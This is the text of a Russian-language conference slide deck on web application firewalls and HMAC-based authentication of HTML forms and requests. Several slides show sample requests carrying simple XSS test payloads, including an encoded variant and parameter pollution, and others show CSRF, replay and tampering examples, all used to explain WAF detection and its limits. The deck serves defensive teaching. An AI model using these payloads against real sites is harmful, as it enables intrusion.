202

SibirCTF 2016. Практические методы защиты веб-приложений

Embed Size (px)

Citation preview

Page 1: SibirCTF 2016. Практические методы защиты веб-приложений
Page 2: SibirCTF 2016. Практические методы защиты веб-приложений

ПРАКТИЧЕСКИЕ МЕТОДЫ ЗАЩИТЫ

ВЕБ-ПРИЛОЖЕНИЙ

Денис Колегов[email protected]

@dnkolegov

ptsecurity.com

Page 3: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

# whoami3

@dnkolegov

dnkolegov[d0g]gmail.com

dkolegov[d0g]ptsecurity.com

Page 4: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Наша команда4

PT Application Firewall Research Team

Задачи• Разработка новых методов и алгоритмов защиты

• Разработка профилей защиты приложений

• Прототипирование механизмов защиты

• Подготовка конкурсов для PHDays WAF Bypass

Page 5: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Результат5

Page 6: SibirCTF 2016. Практические методы защиты веб-приложений

1. Что такое веб-приложение?

2. Что такое WAF?

3. Аутентификация сообщений

4. Обнаружение инъекций

5. Виртуальный патчинг

6. Адаптация DOMPurify

План

ptsecurity.com

Page 7: SibirCTF 2016. Практические методы защиты веб-приложений

Что такое веб-приложение?

Page 8: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Определение8

Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер, а сервером – веб-сервер

Структура• Веб-браузер

• Веб-сервер

• Сервер приложений

• СУБД

Page 9: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Как работает веб-приложение9

GET / HTTP/1.1Host: www.example.comConnection: close

HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close

<!DOCTYPE html><html><body><h1>Hello, World!</h1></body></html>

Page 10: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Как работает веб-приложение10

GET /account/gtmData?include_events=1 HTTP/1.1Host: www.examle.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brCookie: it_csrf=1CCD0EE612B14C870DDBAA495D270606; _msuuid_i0w6e1n8s0=8B6C8DE7-C4D2-4B23-9DEF; Connection: close

HTTP/1.1 200 OKServer: nginxContent-Type: application/jsonContent-Length: 51Vary: Accept-EncodingDate: Mon, 29 Aug 2016 10:36:58 GMTConnection: close

{"environment":"prod","isMobile":false,"user":null}

Page 11: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Особенности11

Огромное количество технологий и их реализаций

Доступность и распространенность

Простота использования

Низкий порог входа

• для злоумышленников

• для разработчиков

• для пентестеров/баг-хантеров

Page 12: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Порог входа12

Program

Yahoo

Mail.Ru

Twitter

OpenSSL

Reports resolved

3192

1334

512

21

Dovecot 4

Nginx 3

Apache 3

Page 13: SibirCTF 2016. Практические методы защиты веб-приложений

Что такое WAF?

Page 14: SibirCTF 2016. Практические методы защиты веб-приложений

Что такое WAF?5

HTTP

ptsecurity.com

Page 15: SibirCTF 2016. Практические методы защиты веб-приложений

Определения

An appliance, server plugin, or filter that applies a set of rules to an HTTP conversation

A security solution on the web application level which does not depend on the application itself

A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components

15

ptsecurity.com

Web Application Firewall Evaluation Criteria

Page 16: SibirCTF 2016. Практические методы защиты веб-приложений

Зал славы16

ptsecurity.com

Ivan Ristic Ryan Barnett

Marcus RanumWilliam Cheswick Gene Spafford

Page 17: SibirCTF 2016. Практические методы защиты веб-приложений

Зал славы17

ptsecurity.com

Ivan Novikov@d0znpp

Arseny Reutov@ru_raz0r

Nick Galbreath@NGalbreath

Brian Rectanus@brianrectanus

Page 18: SibirCTF 2016. Практические методы защиты веб-приложений

Памятка по терминам

• То, что может сделать с информацией атакующий, называется угрозой (threat)

• То, где и благодаря чему он может это сделать, называется уязвимостью(vulnerability), обусловленной недостатком (weakness)

• То, как он может это сделать, называется атакой (attack)

• То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk)

• То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security)

• То, что минимизирует риск, обеспечивает безопасность (safety)

18

ptsecurity.com

Page 19: SibirCTF 2016. Практические методы защиты веб-приложений

Причины и следствия19

ptsecurity.com

Недостаток Угроза

Уязвимость Атака

Риск

Незащищенность

Небезопасность

©Vladimir Kochetkov

Page 20: SibirCTF 2016. Практические методы защиты веб-приложений

Классический WAF20

ptsecurity.com

Page 21: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Компоненты21

Обнаружение атак• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)

• Обнаружение инъекций

• Поиск параметров веб-приложения

Ослабление атак, от которых трудно защититься• Соответствие RFC

• Аутентификация сообщений

• Шифрование (URL, скрытых полей)

• Маскирование данных

• Блокирование IP, пользователя, завершение сессии

Виртуальный патчинг• Предотвращение использования обнаруженных уязвимостей

Page 22: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Сценарии использования22

Элемент многоуровневой защиты

Если в принципе невозможно устранить уязвимость в самом приложении

• Legacy

• Third-party

Необходимый функционал безопасности отсутствует или сложно реализуем

• Защита от подбора паролей

• Защита от DDoS-атак

• Управление доступом

• Защита от нежелательной автоматизации

Виртуальное устранение уязвимости до реального устранения уязвимости в исходном коде

Page 23: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Источники ограничений23

Множество технологий

Модель черного ящика

Отсутствие стандартов

Развитие клиентской части веб-приложений

Page 24: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Множество технологий24

• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP• Load Balancers: F5 BIG-IP, Citrix NetScaler, …• Web-servers: Apache, Nginx, IIS, GWS, …• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …• JavaScript libraries: jQuery, lodash, …• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …• HTML, CSS, XML/SOAP, JSON

Page 25: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Модель черного ящика25

Веб-приложение – это последовательность запросов и ответов

Непонимание контекста

Непонимание логики взаимодействия• Боты

• Взлом аккаунта

• Злоупотребления (abuse/misuse)

Page 26: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Отсутствие стандартов26

GET /output.app?par1=1&par1=2&par1=3 HTTP/1.1Host: www.example.comConnection: close

HTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close

?

//output.appfunction output(http){

return http.getParamValueByName("par1");}

Page 27: SibirCTF 2016. Практические методы защиты веб-приложений

Отсутствие стандартов27

ptsecurity.com

Page 28: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF28

CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 29: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Модель черного ящика29

CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 30: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF30

GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 31: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF31

GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 32: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF32

GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 33: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF33

GET /app?pageId=1 HTTP/1.1Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 34: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF34

GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 35: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF35

GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 36: SibirCTF 2016. Практические методы защиты веб-приложений

Минута из жизни WAF

GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

36

ptsecurity.com

Page 37: SibirCTF 2016. Практические методы защиты веб-приложений

Минута из жизни WAF37

ptsecurity.com

function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;

}

// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>

Page 38: SibirCTF 2016. Практические методы защиты веб-приложений

Минута из жизни WAF38

ptsecurity.com

function getID(request) {var rawID = request.getValue('id');var id = hexdecode(base64decode(rawID));return id;

}

// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>

Page 39: SibirCTF 2016. Практические методы защиты веб-приложений

Минута из жизни WAF

GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

39

ptsecurity.com

HTTP/1.1 200 OKX-XSS-Protection: 0Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

<script>alert(1)</script>

Page 40: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF40

GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

a({"c":"[email protected]"})

Page 41: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF41

GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

a({"c":"[email protected]"})

Page 42: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF42

GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 43: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF43

GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 44: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF44

POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

page=<script>alert(1)</script>

Page 45: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF45

POST /app?page=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

page=<script>alert(1)</script>

Page 46: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF46

POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 47: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минута из жизни WAF47

POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 48: SibirCTF 2016. Практические методы защиты веб-приложений

Аутентификация сообщений

Page 49: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Аутентификация сообщений49

Протокол HTTP не имеет встроенных механизмов аутентификации сообщений

Аутентификация HTTP-сообщений• Аутентичность источника запроса (origin authentication)• Целостность имен и значений параметров

OWASP TOP 10 2013• A4 – Insecure Direct Object Reference• A7 – Missing Function Level Access Control• A8 – Cross-Site Request Forgery (CSRF)

Назначение• Защита приложения от анализа• Уменьшение поверхности атак на приложение• Противодействие средствам автоматизации• Предотвращение использования эксплойтов

HTTP

Page 50: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример50

Page 51: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Сценарии использования51

Аутентификация источника запроса

Контроль целостности скрытых полей форм

Контроль целостности формы

Валидация заданных полей в заданных формах

Контроль целостности AJAX-запросов

Page 52: SibirCTF 2016. Практические методы защиты веб-приложений

Аутентификация веб-форм

Page 53: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

В чем проблема?53

<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="submit" value="Send">

</form></body></html>

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

price=100&role=user&quantity=1&[email protected]

Page 54: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Механизм защиты54

«Подписи запросов» API• Yahoo, Amazon S3, Facebook

WAF• ModSecurity: HMAC Token Protection• F5 Networks ASM: Dynamic Content Value• Citrix NetScaler: Form signature

ASP.NET Framework• Event Validation• View State MAC

Page 55: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Как правильно55

В англоязычной литературе данный механизм защиты часто называют

• Form Signature• Form Signing• Request Signing

Терминологически это неверно: подпись подразумевает, что любой желающий может проверить истинность подписи, а в данном случае это может сделать только владелец секретного ключа

Корректный термин - аутентификация формы или запроса

Page 56: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Элементарный протокол56

Client ← Server: p, h(k, p)Client → Server: p', h(k, p)Server: h(k, p) = h(k, p')

Параметры:• h – функция HMAC• p – значение параметра• k – секретный ключ сервера

Page 57: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Элементарный протокол57

<html><body><form action="update" method="POST"><input type="text" name="p" value="100"><input type="submit" value="Send">

</form></body></html>

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

price=100

Page 58: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Сложности на практике58

Содержание в формах большого количества полей

Различное представление форм для различных клиентов

Наличие в формах опциональных элементов• Checkbox• Option• Radio

Идентификация защищаемых форм в HTTP-ответах

Идентификация скрытых полей форм в HTTP-запросах

Ввод данных на стороне клиента

Page 59: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Различное представление форм59

<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?rand=584774" method="post"></form>

<form id="authform" action="https://auth.mail.ru/cgi-bin/auth?from=splash" method="post"></form>

<form id="authform" action="https://auth.mail.ru/cgi-bin/auth" method="post"></form>

POST /cgi-bin/auth?rand=584774 HTTP/1.1Host: auth.mail.ruContent-Type: application/x-www-form-urlencoded

login=user&password=user123456

Page 60: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Опциональные элементы60

<form action="/demo/" method="post"><select name="cars"><option value="volvo">Volvo XC90</option><option value="saab">Saab 95</option><option value="mercedes">Mercedes SLK</option><option value="audi">Audi TT</option>

</select><input type="submit" value="Submit"></form>

POST /demo HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

cars=volvo

Page 61: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Опциональные элементы61

<html><body><form action="/demo/" method="post"><input type="checkbox" name="vehicle" value="Bike"> I have a bike<br><input type="checkbox" name="vehicle" value="Car" checked> I have a car<br><input type="submit" value="Submit"></form>

</html></body>

POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

vehicle=Bike&vehicle=Car

Page 62: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Опциональные элементы62

<html><body><form action="/demo/" method="post"><input type="radio" name="gender" value="male">Male<br><input type="radio" name="gender" value="female">Female<br>

</form></body></html>

POST /demo/ HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

gender=male

Page 63: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Скрытые поля63

<html><body><form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="submit" value="Send">

</form></body></html>

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

price=100&role=user&quantity=1&[email protected]

Page 64: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Ввод данных на стороне клиента64

Client ← Server: p, h(k, p)

Client → Server: p', h(k, p)

Server: h(k, p) = h(k, p')

Как использовать этот протокол если p формируется в браузере?

Page 65: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Validating Hashing65

key

string

regex R

HMAC of L(R)

Client ← Server: p, h(k, Tr(p, regex))Client → Server: p', h(k, Tr(p, regex))Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))

Параметры:• regex – валидирующее регулярное выражение• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих regex• Tr("abc123", "[a-z]+" ) = "123"

Page 66: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Криптографические примитивы66

A format-abiding encryption scheme is an encryption scheme where the plaintext and ciphertext must have a specified format.

Format-Abiding Encryption• Format-Preserving Encryption: the plaintext and ciphertext have the same format

• Format-Transforming Encryption: the plaintext and ciphertext have different formats

K. Dyer, S. Coull, T. Ristenpart, T. Shrimpton.Format-Transforming Encryption.

Page 67: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Ограничения67

• Нельзя защитить формы, динамически сгенерированные на стороне клиента средствами JavaScript

• Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX

• Нельзя защитить формы, отправляемые на сервер методом GET

Page 68: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод вычисления токена68

1. Построение Authentication Base String (ABS)

• Method

• URL

• Идентификатор сессии

• Параметры• Имя

• [Значение]

• [Тип]

Page 69: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод вычисления токена69

2. Построение контейнеров формы

• Контейнер скрытых полей - HFC

HFC = {hp1_name, …, hpM_name}

• Контейнер опциональных полей - OFC

OFC = {

{op1_name, op1_value1, …, op1_valueN1},

…,

{opL_name, opL_value1, …, opL_valueNL}

}

Page 70: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод вычисления токена70

3. Вычисление подписи

• signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))

• k – секретный ключ

• time – текущее значение времени

Page 71: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод проверки токена71

1. Парсинг входящего HTTP-запроса

2. Проверка метода запроса

3. Проверка наличия токена

4. Для POST-запроса по полученному URL выполняется поиск применяемой политики

5. Если политика найдена, то распаковываются данные из токена

6. Проверка опциональных и скрытых полей если они есть

7. Формирование ABS и его проверка

Page 72: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: исходная форма72

<html><body>

<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]">

</form></body></html>

Page 73: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: генерация токена73

ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")

HFC = "#price#role"

signature = HMAC(k, HFC · HMAC(k, ABS, time))

token = base64(HFC · signature · time)

Page 74: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: новая форма74

<html><body>

<form action="update" method="POST"><input type="hidden" name="price" value="100"><input type="hidden" name="role" value="user"><input type="text" name="quantity" value=""><input type="text" name="email" value="[email protected]"><input type="hidden" name="token" value="2341234123…">

</form></body></html>

Page 75: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: аутентичный запрос75

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2&role=user&[email protected]&token=2341234123…

Page 76: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: манипуляция с URL76

POST /create HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2&role=user&[email protected]&=&token=2341234123…

Page 77: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака CSRF77

POST /delete HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2&role=user&[email protected]&token=

Page 78: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака повтора78

POST /admin/delete_account HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=43538475283745823748572345374527345

user=100001&token=2341234123…

Page 79: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака на бизнес-логику79

